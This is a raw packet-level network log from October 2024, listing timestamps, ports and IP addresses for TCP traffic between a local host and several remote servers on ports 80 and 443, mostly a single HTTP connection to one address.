Oct 31, 2024 03:04:33.531689882 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531698942 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531713009 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531733990 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531837940 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531857967 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531867981 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531877995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531889915 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531893015 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531899929 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531909943 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531910896 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531920910 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531929970 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531956911 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532097101 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532105923 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532114983 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532128096 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532143116 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532154083 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532155037 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532164097 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532185078 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532202959 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532258987 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532269001 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532299995 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532324076 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532325983 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532336950 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532376051 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532377958 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532388926 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532399893 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532411098 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532433987 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532438993 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532443047 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532454014 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532466888 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532475948 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532480955 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532500982 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532517910 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532526970 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532536983 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532546997 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532557964 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532568932 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532579899 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532599926 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532612085 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532633066 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532644033 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532671928 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532700062 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532802105 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532813072 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532823086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532844067 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532845020 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532871008 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532896042 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.532896996 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532907009 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.532938957 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533015966 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533026934 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533035994 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533061028 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533072948 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533086061 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533162117 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533195972 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533205986 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533216000 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533226013 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533240080 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533257961 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533269882 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533281088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533289909 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533309937 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533329010 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533359051 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533369064 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533379078 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533396959 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533411980 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533422947 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533433914 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533443928 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533456087 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533478022 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533584118 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533595085 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533606052 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533623934 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533643961 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533678055 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533688068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533698082 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533709049 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533727884 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533741951 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533745050 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533752918 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533776045 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533780098 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533787966 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533801079 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533808947 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533818007 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533818960 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533829927 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533829927 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533843994 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533854961 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533858061 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533868074 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.533880949 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.533905029 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.542442083 CET	443	49880	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:33.542462111 CET	443	49880	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:33.543133974 CET	443	49880	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:33.543205976 CET	49880	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:33.545612097 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.550808907 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.566452980 CET	49885	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.566473961 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.566934109 CET	49885	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.566939116 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.566951036 CET	49884	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.566992998 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.567385912 CET	49884	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.567392111 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.574781895 CET	49880	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:33.574788094 CET	443	49880	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:33.638955116 CET	49891	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.638978004 CET	443	49891	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:33.639230967 CET	49892	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.639244080 CET	49891	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.639266014 CET	443	49892	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:33.639446020 CET	49893	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.639470100 CET	443	49893	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:33.639483929 CET	49892	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.639540911 CET	49893	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.639661074 CET	49894	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.639672995 CET	443	49894	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:33.639756918 CET	49895	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.639770985 CET	49894	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.639775038 CET	443	49895	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:33.639833927 CET	49895	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.639866114 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.639897108 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:33.639941931 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.640147924 CET	49892	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.640163898 CET	443	49892	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:33.640266895 CET	49891	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.640279055 CET	443	49891	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:33.640360117 CET	49893	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.640376091 CET	443	49893	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:33.640454054 CET	49894	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.640465021 CET	443	49894	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:33.640614986 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.640630960 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:33.640717030 CET	49895	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:33.640729904 CET	443	49895	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:33.647188902 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647212982 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647269964 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647289991 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647296906 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647306919 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647320986 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647331953 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647342920 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647373915 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647417068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647428036 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647448063 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647460938 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647470951 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647480965 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647483110 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647490978 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647501945 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647510052 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647517920 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647521019 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647531033 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647548914 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647558928 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647561073 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647569895 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647581100 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647584915 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647600889 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647608042 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647619009 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647624016 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647629023 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647639990 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647650003 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647666931 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647694111 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647711039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647743940 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647809029 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647829056 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647840023 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647850990 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647855043 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647861958 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647870064 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647896051 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.647958040 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647969961 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647979021 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.647990942 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648000002 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648016930 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648029089 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648046017 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648053885 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648056030 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648066998 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648077965 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648078918 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648094893 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648107052 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648112059 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648118973 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648128986 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648139954 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648142099 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648150921 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648164988 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648190022 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648241997 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648257971 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648272991 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648291111 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648302078 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648310900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648312092 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648320913 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648334980 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648361921 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648423910 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648433924 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648471117 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648473024 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648484945 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648521900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648533106 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648535967 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648542881 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648552895 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648564100 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648576975 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648618937 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648628950 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648641109 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648657084 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648669004 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.648674011 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648684025 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.648720980 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.694677114 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.694896936 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.694988012 CET	49885	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.697822094 CET	49885	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.697830915 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.697841883 CET	49885	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.697846889 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.700561047 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.700627089 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.700695038 CET	49884	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.710944891 CET	49884	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.710964918 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.710977077 CET	49884	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.710983038 CET	443	49884	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.728023052 CET	49897	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.728035927 CET	443	49897	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.728137016 CET	49897	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.732239962 CET	49898	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.732265949 CET	443	49898	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.732470036 CET	49898	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.732759953 CET	49897	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.732774019 CET	443	49897	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.733241081 CET	49898	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.733253002 CET	443	49898	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.759145021 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.764137983 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044064999 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044079065 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044106960 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044118881 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044131041 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044143915 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044145107 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.044188976 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.044238091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044339895 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044351101 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044356108 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044367075 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044378042 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044389963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044397116 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.044399023 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044415951 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.044426918 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.044553041 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044564962 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044574022 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044604063 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.044620991 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.044676065 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044728041 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044737101 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044769049 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.044810057 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044825077 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044836998 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044862986 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.044869900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044882059 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044888020 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.044893026 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.044914961 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.044945955 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.045010090 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045022011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045085907 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045097113 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.045108080 CET	80	49823	185.215.113.206	192.168.2.5
